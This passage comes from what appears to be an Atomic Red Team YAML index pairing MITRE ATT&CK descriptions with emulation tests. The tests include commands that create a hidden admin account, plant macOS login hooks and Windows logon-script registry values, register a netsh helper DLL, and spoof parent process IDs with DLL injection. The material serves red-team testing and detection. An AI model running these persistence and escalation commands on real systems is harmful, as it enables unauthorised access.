      name: Local Accounts
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1078.003
        url: https://attack.mitre.org/techniques/T1078/003
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: initial-access
      modified: '2021-04-05T12:51:00.663Z'
      created: '2020-03-13T20:26:46.695Z'
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      - Containers
      x_mitre_data_sources:
      - 'User Account: User Account Authentication'
      - 'Logon Session: Logon Session Creation'
      x_mitre_detection: Perform regular audits of local system accounts to detect
        accounts that may have been created by an adversary for persistence. Look
        for suspicious account behavior, such as accounts logged in at odd times or
        outside of business hours.
      x_mitre_permissions_required:
      - Administrator
      - User
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.1'
      identifier: T1078.003
    atomic_tests:
    - name: Create local account with admin privileges
      auto_generated_guid: a524ce99-86de-4db6-b4f9-e08f35a47a15
      description: After execution the new account will be active and added to the
        Administrators group
      supported_platforms:
      - windows
      executor:
        command: |-
          net user art-test /add
          net user art-test Password123!
          net localgroup administrators art-test /add
        cleanup_command: |-
          net localgroup administrators art-test /delete >nul 2>&1
          net user art-test /delete >nul 2>&1
        name: command_prompt
        elevation_required: true
  T1037.002:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1037.002
        url: https://attack.mitre.org/techniques/T1037/002
      - url: https://support.apple.com/de-at/HT2420
        description: 'Apple. (2011, June 1). Mac OS X: Creating a login hook. Retrieved
          July 17, 2017.'
        source_name: creating login hook
      - source_name: S1 macOs Persistence
        url: https://www.sentinelone.com/blog/how-malware-persists-on-macos/
        description: Stokes, P. (2019, July 17). How Malware Persists on macOS. Retrieved
          March 27, 2020.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Logon Script (Mac)
      description: "Adversaries may use macOS logon scripts automatically executed
        at logon initialization to establish persistence. macOS allows logon scripts
        (known as login hooks) to be executed whenever a specific user logs into a
        system. A login hook tells Mac OS X to execute a certain script when a user
        logs in, but unlike [Startup Items](https://attack.mitre.org/techniques/T1037/005),
        a login hook executes as the elevated root user.(Citation: creating login
        hook)\n\nAdversaries may use these login hooks to maintain persistence on
        a single system.(Citation: S1 macOs Persistence) Access to login hook scripts
        may allow an adversary to insert additional malicious code. There can only
        be one login hook at a time though and depending on the access configuration
        of the hooks, either local credentials or an administrator account may be
        necessary. "
      id: attack-pattern--43ba2b05-cf72-4b6c-8243-03a4aba41ee0
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      modified: '2020-03-27T16:49:15.786Z'
      created: '2020-01-10T16:01:15.995Z'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_detection: Monitor logon scripts for unusual access by abnormal users
        or at abnormal times. Look for files added or modified by unusual accounts
        outside of normal administration duties. Monitor running process for actions
        that could be indicative of abnormal programs or executables running upon
        logon.
      x_mitre_data_sources:
      - 'File: File Creation'
      - 'File: File Modification'
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      x_mitre_platforms:
      - macOS
      identifier: T1037.002
    atomic_tests:
    - name: Logon Scripts - Mac
      auto_generated_guid: f047c7de-a2d9-406e-a62b-12a09d9516f4
      description: 'Mac logon script

'
      supported_platforms:
      - macos
      executor:
        steps: "1. Create the required plist file\n\n    sudo touch /private/var/root/Library/Preferences/com.apple.loginwindow.plist\n\n2.
          Populate the plist with the location of your shell script\n\n    sudo defaults
          write com.apple.loginwindow LoginHook /Library/Scripts/AtomicRedTeam.sh\n\n3.
          Create the required plist file in the target user's Preferences directory\n\n\t
          \ touch /Users/$USER/Library/Preferences/com.apple.loginwindow.plist\n\n4.
          Populate the plist with the location of your shell script\n\n\t  defaults
          write com.apple.loginwindow LoginHook /Library/Scripts/AtomicRedTeam.sh\n"
        name: manual
  T1037.001:
    technique:
      id: attack-pattern--eb125d40-0b2d-41ac-a71a-3229241c2cd3
      description: "Adversaries may use Windows logon scripts automatically executed
        at logon initialization to establish persistence. Windows allows logon scripts
        to be run whenever a specific user or group of users log into a system.(Citation:
        TechNet Logon Scripts) This is done via adding a path to a script to the <code>HKCU\\Environment\\UserInitMprLogonScript</code>
        Registry key.(Citation: Hexacorn Logon Scripts)\n\nAdversaries may use these
        scripts to maintain persistence on a single system. Depending on the access
        configuration of the logon scripts, either local credentials or an administrator
        account may be necessary. "
      name: Logon Script (Windows)
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1037.001
        url: https://attack.mitre.org/techniques/T1037/001
      - url: https://technet.microsoft.com/en-us/library/cc758918(v=ws.10).aspx
        description: Microsoft. (2005, January 21). Creating logon scripts. Retrieved
          April 27, 2016.
        source_name: TechNet Logon Scripts
      - source_name: Hexacorn Logon Scripts
        url: http://www.hexacorn.com/blog/2014/11/14/beyond-good-ol-run-key-part-18/
        description: Hexacorn. (2014, November 14). Beyond good ol’ Run key, Part
          18. Retrieved November 15, 2019.
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      modified: '2020-03-24T23:45:03.153Z'
      created: '2020-01-10T03:43:37.211Z'
      x_mitre_platforms:
      - Windows
      x_mitre_data_sources:
      - 'Windows Registry: Windows Registry Key Creation'
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      x_mitre_detection: |-
        Monitor for changes to Registry values associated with Windows logon scrips, nameley <code>HKCU\Environment\UserInitMprLogonScript</code>.

        Monitor running process for actions that could be indicative of abnormal programs or executables running upon logon.
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      identifier: T1037.001
    atomic_tests:
    - name: Logon Scripts
      auto_generated_guid: d6042746-07d4-4c92-9ad8-e644c114a231
      description: |
        Adds a registry value to run batch script created in the %temp% directory. Upon execution, there will be a new environment variable in the HKCU\Environment key
        that can be viewed in the Registry Editor.
      supported_platforms:
      - windows
      input_arguments:
        script_path:
          description: Path to .bat file
          type: String
          default: "%temp%\\art.bat"
        script_command:
          description: Command To Execute
          type: String
          default: echo Art "Logon Script" atomic test was successful. >> %USERPROFILE%\desktop\T1037.001-log.txt
      executor:
        command: |
          echo "#{script_command}" > #{script_path}
          REG.exe ADD HKCU\Environment /v UserInitMprLogonScript /t REG_SZ /d "#{script_path}" /f
        cleanup_command: |
          REG.exe DELETE HKCU\Environment /v UserInitMprLogonScript /f >nul 2>&1
          del #{script_path} >nul 2>&1
          del "%USERPROFILE%\desktop\T1037.001-log.txt" >nul 2>&1
        name: command_prompt
  T1134.003:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1134.003
        url: https://attack.mitre.org/techniques/T1134/003
      - url: https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing
        description: Mathers, B. (2017, March 7). Command line process auditing. Retrieved
          April 21, 2017.
        source_name: Microsoft Command-line Logging
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Make and Impersonate Token
      description: Adversaries may make and impersonate tokens to escalate privileges
        and bypass access controls. If an adversary has a username and password but
        the user is not logged onto the system, the adversary can then create a logon
        session for the user using the <code>LogonUser</code> function. The function
        will return a copy of the new session's access token and the adversary can
        use <code>SetThreadToken</code> to assign the token to a thread.
      id: attack-pattern--8cdeb020-e31e-4f88-a582-f53dcfbda819
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      modified: '2020-02-18T18:03:37.481Z'
      created: '2020-02-18T18:03:37.481Z'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_effective_permissions:
      - SYSTEM
      x_mitre_permissions_required:
      - Administrator
      - User
      x_mitre_defense_bypassed:
      - Windows User Account Control
      - System access controls
      - File system access controls
      x_mitre_detection: |-
        If an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the <code>runas</code> command. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging)

        If an adversary is using a payload that calls the Windows token APIs directly, analysts can detect token manipulation only through careful analysis of user network activity, examination of running processes, and correlation with other endpoint and network behavior.

        Analysts can also monitor for use of Windows APIs such as <code>LogonUser</code> and <code> SetThreadToken</code> and correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators.
      x_mitre_data_sources:
      - 'Process: OS API Execution'
      - 'Command: Command Execution'
      x_mitre_platforms:
      - Windows
    atomic_tests: []
  T1546.007:
    technique:
      created: '2020-01-24T14:26:51.207Z'
      modified: '2020-03-24T18:28:07.793Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: persistence
      type: attack-pattern
      id: attack-pattern--f63fe421-b1d1-45c0-b8a7-02cd16ff2bed
      description: |-
        Adversaries may establish persistence by executing malicious content triggered by Netsh Helper DLLs. Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system. It contains functionality to add helper DLLs for extending functionality of the utility. (Citation: TechNet Netsh) The paths to registered netsh.exe helper DLLs are entered into the Windows Registry at <code>HKLM\SOFTWARE\Microsoft\Netsh</code>.

        Adversaries can use netsh.exe helper DLLs to trigger execution of arbitrary code in a persistent manner. This execution would take place anytime netsh.exe is executed, which could happen automatically, with another persistence technique, or if other software (ex: VPN) is present on the system that executes netsh.exe as part of its normal functionality. (Citation: Github Netsh Helper CS Beacon)(Citation: Demaske Netsh Persistence)
      name: Netsh Helper DLL
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1546.007
        url: https://attack.mitre.org/techniques/T1546/007
      - url: https://technet.microsoft.com/library/bb490939.aspx
        description: Microsoft. (n.d.). Using Netsh. Retrieved February 13, 2017.
        source_name: TechNet Netsh
      - url: https://github.com/outflankbv/NetshHelperBeacon
        description: Smeets, M. (2016, September 26). NetshHelperBeacon. Retrieved
          February 13, 2017.
        source_name: Github Netsh Helper CS Beacon
      - url: https://htmlpreview.github.io/?https://github.com/MatthewDemaske/blogbackup/blob/master/netshell.html
        description: Demaske, M. (2016, September 23). USING NETSHELL TO EXECUTE EVIL
          DLLS AND PERSIST ON A HOST. Retrieved April 8, 2017.
        source_name: Demaske Netsh Persistence
      x_mitre_platforms:
      - Windows
      x_mitre_contributors:
      - Matthew Demaske, Adaptforward
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Windows Registry: Windows Registry Key Modification'
      - 'Command: Command Execution'
      - 'Module: Module Load'
      x_mitre_detection: 'It is likely unusual for netsh.exe to have any child processes
        in most environments. Monitor process executions and investigate any child
        processes spawned by netsh.exe for malicious behavior. Monitor the <code>HKLM\SOFTWARE\Microsoft\Netsh</code>
        registry key for any new or suspicious entries that do not correlate with
        known system files or benign software. (Citation: Demaske Netsh Persistence)'
      x_mitre_permissions_required:
      - Administrator
      - SYSTEM
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      identifier: T1546.007
    atomic_tests:
    - name: Netsh Helper DLL Registration
      auto_generated_guid: 3244697d-5a3a-4dfc-941c-550f69f91a4d
      description: 'Netsh interacts with other operating system components using dynamic-link
        library (DLL) files

'
      supported_platforms:
      - windows
      input_arguments:
        helper_file:
          description: Path to DLL
          type: Path
          default: C:\Path\file.dll
      executor:
        command: 'netsh.exe add helper #{helper_file}

'
        name: command_prompt
  T1037.003:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1037.003
        url: https://attack.mitre.org/techniques/T1037/003
      - source_name: Petri Logon Script AD
        url: https://www.petri.com/setting-up-logon-script-through-active-directory-users-computers-windows-server-2008
        description: Daniel Petri. (2009, January 8). Setting up a Logon Script through
          Active Directory Users and Computers in Windows Server 2008. Retrieved November
          15, 2019.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Network Logon Script
      description: "Adversaries may use network logon scripts automatically executed
        at logon initialization to establish persistence. Network logon scripts can
        be assigned using Active Directory or Group Policy Objects.(Citation: Petri
        Logon Script AD) These logon scripts run with the privileges of the user they
        are assigned to. Depending on the systems within the network, initializing
        one of these scripts could apply to more than one or potentially all systems.
        \ \n \nAdversaries may use these scripts to maintain persistence on a network.
        Depending on the access configuration of the logon scripts, either local credentials
        or an administrator account may be necessary."
      id: attack-pattern--c63a348e-ffc2-486a-b9d9-d7f11ec54d99
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      modified: '2020-03-24T23:45:25.625Z'
      created: '2020-01-10T18:01:03.666Z'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_detection: Monitor logon scripts for unusual access by abnormal users
        or at abnormal times. Look for files added or modified by unusual accounts
        outside of normal administration duties. Monitor running process for actions
        that could be indicative of abnormal programs or executables running upon
        logon.
      x_mitre_data_sources:
      - 'File: File Creation'
      - 'File: File Modification'
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      - 'Active Directory: Active Directory Object Modification'
      x_mitre_platforms:
      - Windows
    atomic_tests: []
  T1134.004:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1134.004
        url: https://attack.mitre.org/techniques/T1134/004
      - source_name: DidierStevens SelectMyParent Nov 2009
        url: https://blog.didierstevens.com/2009/11/22/quickpost-selectmyparent-or-playing-with-the-windows-process-tree/
        description: 'Stevens, D. (2009, November 22). Quickpost: SelectMyParent or
          Playing With the Windows Process Tree. Retrieved June 3, 2019.'
      - source_name: Microsoft UAC Nov 2018
        url: https://docs.microsoft.com/windows/security/identity-protection/user-account-control/how-user-account-control-works
        description: Montemayor, D. et al.. (2018, November 15). How User Account
          Control works. Retrieved June 3, 2019.
      - source_name: CounterCept PPID Spoofing Dec 2018
        url: https://www.countercept.com/blog/detecting-parent-pid-spoofing/
        description: Loh, I. (2018, December 21). Detecting Parent PID Spoofing. Retrieved
          June 3, 2019.
      - source_name: CTD PPID Spoofing Macro Mar 2019
        url: https://blog.christophetd.fr/building-an-office-macro-to-spoof-process-parent-and-command-line/
        description: Tafani-Dereeper, C. (2019, March 12). Building an Office macro
          to spoof parent processes and command line arguments. Retrieved June 3,
          2019.
      - source_name: XPNSec PPID Nov 2017
        url: https://blog.xpnsec.com/becoming-system/
        description: Chester, A. (2017, November 20). Alternative methods of becoming
          SYSTEM. Retrieved June 4, 2019.
      - source_name: Microsoft Process Creation Flags May 2018
        url: https://docs.microsoft.com/windows/desktop/ProcThread/process-creation-flags
        description: Schofield, M. & Satran, M. (2018, May 30). Process Creation Flags.
          Retrieved June 4, 2019.
      - description: Secuirtyinbits . (2019, May 14). Parent PID Spoofing (Stage 2)
          Ataware Ransomware Part 3. Retrieved June 6, 2019.
        url: https://www.securityinbits.com/malware-analysis/parent-pid-spoofing-stage-2-ataware-ransomware-part-3
        source_name: Secuirtyinbits Ataware3 May 2019
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Parent PID Spoofing
      description: |-
        Adversaries may spoof the parent process identifier (PPID) of a new process to evade process-monitoring defenses or to elevate privileges. New processes are typically spawned directly from their parent, or calling, process unless explicitly specified. One way of explicitly assigning the PPID of a new process is via the <code>CreateProcess</code> API call, which supports a parameter that defines the PPID to use.(Citation: DidierStevens SelectMyParent Nov 2009) This functionality is used by Windows features such as User Account Control (UAC) to correctly set the PPID after a requested elevated process is spawned by SYSTEM (typically via <code>svchost.exe</code> or <code>consent.exe</code>) rather than the current user context.(Citation: Microsoft UAC Nov 2018)

        Adversaries may abuse these mechanisms to evade defenses, such as those blocking processes spawning directly from Office documents, and analysis targeting unusual/potentially malicious parent-child process relationships, such as spoofing the PPID of [PowerShell](https://attack.mitre.org/techniques/T1059/001)/[Rundll32](https://attack.mitre.org/techniques/T1218/011) to be <code>explorer.exe</code> rather than an Office document delivered as part of [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001).(Citation: CounterCept PPID Spoofing Dec 2018) This spoofing could be executed via [Visual Basic](https://attack.mitre.org/techniques/T1059/005) within a malicious Office document or any code that can perform [Native API](https://attack.mitre.org/techniques/T1106).(Citation: CTD PPID Spoofing Macro Mar 2019)(Citation: CounterCept PPID Spoofing Dec 2018)

        Explicitly assigning the PPID may also enable elevated privileges given appropriate access rights to the parent process. For example, an adversary in a privileged user context (i.e. administrator) may spawn a new process and assign the parent as a process running as SYSTEM (such as <code>lsass.exe</code>), causing the new process to be elevated via the inherited access token.(Citation: XPNSec PPID Nov 2017)
      id: attack-pattern--93591901-3172-4e94-abf8-6034ab26f44a
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      modified: '2021-02-09T14:11:20.296Z'
      created: '2020-02-18T18:22:41.448Z'
      x_mitre_contributors:
      - Wayne Silva, F-Secure Countercept
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_permissions_required:
      - User
      - Administrator
      x_mitre_defense_bypassed:
      - Heuristic Detection
      - Host forensic analysis
      x_mitre_detection: |-
        Look for inconsistencies between the various fields that store PPID information, such as the EventHeader ProcessId from data collected via Event Tracing for Windows (ETW), Creator Process ID/Name from Windows event logs, and the ProcessID and ParentProcessID (which are also produced from ETW and other utilities such as Task Manager and Process Explorer). The ETW provided EventHeader ProcessId identifies the actual parent process.(Citation: CounterCept PPID Spoofing Dec 2018)

        Monitor and analyze API calls to <code>CreateProcess</code>/<code>CreateProcessA</code>, specifically those from user/potentially malicious processes and with parameters explicitly assigning PPIDs (ex: the Process Creation Flags of 0x8XXX, indicating that the process is being created with extended startup information(Citation: Microsoft Process Creation Flags May 2018)). Malicious use of <code>CreateProcess</code>/<code>CreateProcessA</code> may also be proceeded by a call to <code>UpdateProcThreadAttribute</code>, which may be necessary to update process creation attributes.(Citation: Secuirtyinbits Ataware3 May 2019) This may generate false positives from normal UAC elevation behavior, so compare to a system baseline/understanding of normal system activity if possible.
      x_mitre_data_sources:
      - 'Process: OS API Execution'
      - 'Process: Process Creation'
      - 'Process: Process Metadata'
      x_mitre_platforms:
      - Windows
      identifier: T1134.004
    atomic_tests:
    - name: Parent PID Spoofing using PowerShell
      auto_generated_guid: '069258f4-2162-46e9-9a25-c9c6c56150d2'
      description: |
        This test uses PowerShell to replicates how Cobalt Strike does ppid spoofing and masquerade a spawned process.
        Upon execution, "Process C:\Program Files\Internet Explorer\iexplore.exe is spawned with pid ####" will be displayed and
        calc.exe will be launched.

        Credit to In Ming Loh (https://github.com/countercept/ppid-spoofing/blob/master/PPID-Spoof.ps1)
      supported_platforms:
      - windows
      input_arguments:
        parent_process_name:
          description: Name of the parent process
          type: String
          default: explorer
        spawnto_process_path:
          description: Path of the process to spawn
          type: Path
          default: C:\Program Files\Internet Explorer\iexplore.exe
        dll_process_name:
          description: Name of the created process from the injected dll
          type: String
          default: calculator
        dll_path:
          description: Path of the dll to inject
          type: Path
          default: PathToAtomicsFolder\T1134.004\bin\calc.dll
        spawnto_process_name:
          description: Name of the process to spawn
          type: String
          default: iexplore
      dependency_executor_name: powershell
      dependencies:
      - description: 'DLL to inject must exist on disk at specified location (#{dll_path})

'
        prereq_command: 'if (Test-Path #{dll_path}) {exit 0} else {exit 1}

'
        get_prereq_command: |
          New-Item -Type Directory (split-path #{dll_path}) -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1134.004/bin/calc.dll" -OutFile "#{dll_path}"
      executor:
        command: |
          . $PathToAtomicsFolder\T1134.004\src\PPID-Spoof.ps1
          $ppid=Get-Process #{parent_process_name} | select -expand id
          PPID-Spoof -ppid $ppid -spawnto "#{spawnto_process_path}" -dllpath "#{dll_path}"
        cleanup_command: |
          Stop-Process -Name "#{dll_process_name}" -ErrorAction Ignore
          Stop-Process -Name "#{spawnto_process_name}" -ErrorAction Ignore
        name: powershell
    - name: Parent PID Spoofing - Spawn from Current Process
      auto_generated_guid: 14920ebd-1d61-491a-85e0-fe98efe37f25
      description: Spawns a powershell.exe process as a child of the current process.
      supported_platforms:
      - windows
      input_arguments:
        file_path:
          description: File path or name of process to spawn
          type: Path
          default: "$Env:windir\\System32\\WindowsPowerShell\\v1.0\\powershell.exe"
        parent_pid:
          description: PID of process to spawn from
          type: String
          default: "$PID"
        command_line:
          description: Specified command line to use
          type: String
          default: "-Command Start-Sleep 10"
      dependencies:
      - description: The AtomicTestHarnesses module must be installed and Start-ATHProcessUnderSpecificParent
          must be exported in the module.
        prereq_command: |-
          $RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable
          if (-not $RequiredModule) {exit 1}
          if (-not $RequiredModule.ExportedCommands['Start-ATHProcessUnderSpecificParent']) {exit 1} else {exit 0}
        get_prereq_command: 'Install-Module -Name AtomicTestHarnesses -Scope CurrentUser
          -Force

'
      executor:
        command: 'Start-ATHProcessUnderSpecificParent -FilePath #{file_path} -CommandLine
          ''#{command_line}'' -ParentId #{parent_pid}'
        name: powershell
    - name: Parent PID Spoofing - Spawn from Specified Process
      auto_generated_guid: cbbff285-9051-444a-9d17-c07cd2d230eb
      description: Spawns a notepad.exe process as a child of the current process.
      supported_platforms:
      - windows
      input_arguments:
        parent_pid:
          description: PID of process to spawn from
          type: String
          default: "$PID"
        test_guid:
          description: Defined test GUID
          type: String
          default: 12345678-1234-1234-1234-123456789123
      dependencies:
      - description: The AtomicTestHarnesses module must be installed and Start-ATHProcessUnderSpecificParent
          must be exported in the module.
        prereq_command: |-
          $RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable
          if (-not $RequiredModule) {exit 1}
          if (-not $RequiredModule.ExportedCommands['Start-ATHProcessUnderSpecificParent']) {exit 1} else {exit 0}
        get_prereq_command: 'Install-Module -Name AtomicTestHarnesses -Scope CurrentUser
          -Force

'
      executor:
        command: 'Start-ATHProcessUnderSpecificParent  -ParentId #{parent_pid} -TestGuid
          #{test_guid}'
        name: powershell
    - name: Parent PID Spoofing - Spawn from svchost.exe
      auto_generated_guid: e9f2b777-3123-430b-805d-5cedc66ab591
      description: Spawnd a process as a child of the first accessible svchost.exe
        process.
      supported_platforms:
      - windows
      input_arguments:
        command_line:
          description: Specified command line to use
          type: String
          default: "-Command Start-Sleep 10"
        file_path:
          description: File path or name of process to spawn
          type: Path
          default: "$Env:windir\\System32\\WindowsPowerShell\\v1.0\\powershell.exe"
      dependencies:
      - description: The AtomicTestHarnesses module must be installed and Start-ATHProcessUnderSpecificParent
          must be exported in the module.
        prereq_command: |-
          $RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable
          if (-not $RequiredModule) {exit 1}
          if (-not $RequiredModule.ExportedCommands['Start-ATHProcessUnderSpecificParent']) {exit 1} else {exit 0}
        get_prereq_command: 'Install-Module -Name AtomicTestHarnesses -Scope CurrentUser
          -Force

'
      executor:
        command: 'Get-CimInstance -ClassName Win32_Process -Property Name, CommandLine,
          ProcessId -Filter "Name = ''svchost.exe'' AND CommandLine LIKE ''%''" |
          Select-Object -First 1 | Start-ATHProcessUnderSpecificParent -FilePath #{file_path}
          -CommandLine ''#{command_line}'''
        name: powershell
    - name: Parent PID Spoofing - Spawn from New Process
      auto_generated_guid: 2988133e-561c-4e42-a15f-6281e6a9b2db
      description: Creates a notepad.exe process and then spawns a powershell.exe
        process as a child of it.
      supported_platforms:
      - windows
      input_arguments:
        command_line:
          description: Specified command line to use
          type: String
          default: "-Command Start-Sleep 10"
        file_path:
          description: File path or name of process to spawn
          type: Path
          default: "$Env:windir\\System32\\WindowsPowerShell\\v1.0\\powershell.exe"
        parent_name:
          description: Parent process to spoof from
          type: Path
          default: "$Env:windir\\System32\\notepad.exe"
      dependencies:
      - description: The AtomicTestHarnesses module must be installed and Start-ATHProcessUnderSpecificParent
          must be exported in the module.
        prereq_command: |-
          $RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable
          if (-not $RequiredModule) {exit 1}
          if (-not $RequiredModule.ExportedCommands['Start-ATHProcessUnderSpecificParent']) {exit 1} else {exit 0}
        get_prereq_command: 'Install-Module -Name AtomicTestHarnesses -Scope CurrentUser
          -Force

'
      executor:
        command: 'Start-Process -FilePath #{parent_name} -PassThru | Start-ATHProcessUnderSpecificParent
          -FilePath #{file_path} -CommandLine ''#{command_line}'''
        name: powershell
  T1034:
    technique:
      id: attack-pattern--c4ad009b-6e13-4419-8d21-918a1652de02
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Path Interception
      description: |-
        **This technique has been deprecated. Please use [Path Interception by PATH Environment Variable](https://attack.mitre.org/techniques/T1574/007), [Path Interception by Search Order Hijacking](https://attack.mitre.org/techniques/T1574/008), and/or [Path Interception by Unquoted Path](https://attack.mitre.org/techniques/T1574/009).**

        Path interception occurs when an executable is placed in a specific path so that it is executed by an application instead of the intended target. One example of this was the use of a copy of [cmd](https://attack.mitre.org/software/S0106) in the current working directory of a vulnerable application that loads a CMD or BAT file with the CreateProcess function. (Citation: TechNet MS14-019)

        There are multiple distinct weaknesses or misconfigurations that adversaries may take advantage of when performing path interception: unquoted paths, path environment variable misconfigurations, and search order hijacking. The first vulnerability deals with full program paths, while the second and third occur when program paths are not specified. These techniques can be used for persistence if executables are called on a regular basis, as well as privilege escalation if intercepted executables are started by a higher privileged process.

        ### Unquoted Paths
        Service paths (stored in Windows Registry keys) (Citation: Microsoft Subkey) and shortcut paths are vulnerable to path interception if the path has one or more spaces and is not surrounded by quotation marks (e.g., <code>C:\unsafe path with space\program.exe</code> vs. <code>"C:\safe path with space\program.exe"</code>). (Citation: Baggett 2012) An adversary can place an executable in a higher level directory of the path, and Windows will resolve that executable instead of the intended executable. For example, if the path in a shortcut is <code>C:\program files\myapp.exe</code>, an adversary may create a program at <code>C:\program.exe</code> that will be run instead of the intended program. (Citation: SecurityBoulevard Unquoted Services APR 2018) (Citation: SploitSpren Windows Priv Jan 2018)

        ### PATH Environment Variable Misconfiguration
        The PATH environment variable contains a list of directories. Certain methods of executing a program (namely using cmd.exe or the command-line) rely solely on the PATH environment variable to determine the locations that are searched for a program when the path for the program is not given. If any directories are listed in the PATH environment variable before the Windows directory, <code>%SystemRoot%\system32</code> (e.g., <code>C:\Windows\system32</code>), a program may be placed in the preceding directory that is named the same as a Windows program (such as cmd, PowerShell, or Python), which will be executed when that command is executed from a script or command-line.

        For example, if <code>C:\example path</code> precedes <code>C:\Windows\system32</code> is in the PATH environment variable, a program that is named net.exe and placed in <code>C:\example path</code> will be called instead of the Windows system "net" when "net" is executed from the command-line.

        ### Search Order Hijacking
        Search order hijacking occurs when an adversary abuses the order in which Windows searches for programs that are not given a path. The search order differs depending on the method that is used to execute the program. (Citation: Microsoft CreateProcess) (Citation: Hill NT Shell) (Citation: Microsoft WinExec) However, it is common for Windows to search in the directory of the initiating program before searching through the Windows system directory. An adversary who finds a program vulnerable to search order hijacking (i.e., a program that does not specify the path to an executable) may take advantage of this vulnerability by creating a program named after the improperly specified program and placing it within the initiating program's directory.

        For example, "example.exe" runs "cmd.exe" with the command-line argument <code>net user</code>. An adversary may place a program called "net.exe" within the same directory as example.exe, "net.exe" will be run instead of the Windows system utility net. In addition, if an adversary places a program called "net.com" in the same directory as "net.exe", then <code>cmd.exe /C net user</code> will execute "net.com" instead of "net.exe" due to the order of executable extensions defined under PATHEXT. (Citation: MSDN Environment Property)

        Search order hijacking is also a common practice for hijacking DLL loads and is covered in [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038).
      external_references:
      - source_name: mitre-attack
        external_id: T1034
        url: https://attack.mitre.org/techniques/T1034
      - external_id: CAPEC-159
        source_name: capec
        url: https://capec.mitre.org/data/definitions/159.html
      - url: https://blogs.technet.microsoft.com/srd/2014/04/08/ms14-019-fixing-a-binary-hijacking-via-cmd-or-bat-file/
        description: Nagaraju, S. (2014, April 8). MS14-019 – Fixing a binary hijacking
          via .cmd or .bat file. Retrieved July 25, 2016.
        source_name: TechNet MS14-019
      - url: http://support.microsoft.com/KB/103000
        description: Microsoft. (n.d.). CurrentControlSet\Services Subkey Entries.
          Retrieved November 30, 2014.
        source_name: Microsoft Subkey
      - url: https://isc.sans.edu/diary/Help+eliminate+unquoted+path+vulnerabilities/14464
        description: Baggett, M. (2012, November 8). Help eliminate unquoted path
          vulnerabilities. Retrieved December 4, 2014.
        source_name: Baggett 2012
      - url: https://securityboulevard.com/2018/04/windows-privilege-escalation-unquoted-services/
        description: HackHappy. (2018, April 23). Windows Privilege Escalation – Unquoted
          Services. Retrieved August 10, 2018.
